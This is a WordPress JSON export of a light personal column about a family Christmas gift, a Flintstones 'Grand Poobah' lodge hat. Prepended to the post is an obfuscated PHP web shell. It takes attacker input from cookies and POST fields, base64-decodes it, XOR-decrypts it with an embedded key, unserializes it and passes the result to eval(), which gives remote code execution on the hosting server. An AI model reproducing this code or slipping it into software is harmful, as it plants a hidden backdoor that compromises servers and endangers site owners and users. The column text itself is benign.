$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2174,"date":"2014-01-07T11:00:42","date_gmt":"2014-01-07T16:00:42","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2174"},"modified":"2014-01-07T11:00:42","modified_gmt":"2014-01-07T16:00:42","slug":"wearing-a-new-hat","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2174","title":{"rendered":"Wearing a New Hat"},"content":{"rendered":"

I got really worried for a few moments. One of my sisters-in-law wanted to present me with a special gift in front of everyone at our family’s Christmas Eve celebration.<\/p>\n

I had no reason to distrust her. It’s the ones I am related to by blood that I didn’t trust.<\/p>\n

$\"poobah2\"$ <\/a>As the youngest, this feeling comes natural. One Christmas, my brothers wanted to show me that Santa thought I hadn’t measured up to his standards by putting baked beans and dirty underwear in my stocking.<\/p>\n

My parents thankfully stepped in and, always appreciating a good joke, put the items in one of my older brothers’ stockings. I was probably 4 or 5 at the time so they could have scarred me for life.<\/p>\n

So I came by this nervousness honestly. You can put me on stage in front of a bunch of strangers, and I have no problem making a fool out of myself. But put that into play in front of my family, and I get a little worried.<\/p>\n

She started off with a little speech, telling everyone how she and my brother get a kick out of my regular updates about life in a small town like Hanover. Most of my siblings live in larger communities and don’t get to enjoy the amount of civic interaction that we do.<\/p>\n

I stood there waiting for the other shoe to drop as she said nice things about me. If she liked the way I had decided to live my life, how could this be turned into a cruel prank? What did these people have up their sleeve?<\/p>\n

When I opened the bag, I could not believe my good fortune. They had somehow come up with the perfect way to recognize me for getting involved in groups like the Knights of Columbus, the Girl Scouts and the Lions Club.<\/p>\n

We watched a lot of television as kids. I think the constant viewings of programs like TheThree Stooges, the Dick Van Dyke Show and M*A*S*H have played a big role in my ability to make people laugh.<\/p>\n

One of our favorite selections was The Flintstones. That doesn’t make us unique \u2013 who doesn’t love the most famous residents of Bedrock? Whenever a wedding anniversary happens, you can pretty much guarantee at least one member of my family will post a picture of 88 Fingers Louie and the fellas singing their famous song.<\/p>\n

That’s why I could not believe my eyes when I pulled the blue Loyal Order of Water Buffaloes Lodge No. 26 hat from the gift bag. They didn’t want to make fun of me (OK, maybe they did a little because the hat is absurd in the most awesome way possible). They wanted to recognize me for having the qualities of the Grand Poobah.<\/p>\n

I could not think of a higher honor. Plus, my teenage daughter gets horrifically embarrassed just at the mention of the hat.<\/p>\n

Part of me wants to wear it proudly everywhere, but a bigger part of me knows that she would feel the same way I did standing in front of that room. A true Grand Poobah would never abuse his power like that.<\/p>\n","protected":false},"excerpt":{"rendered":"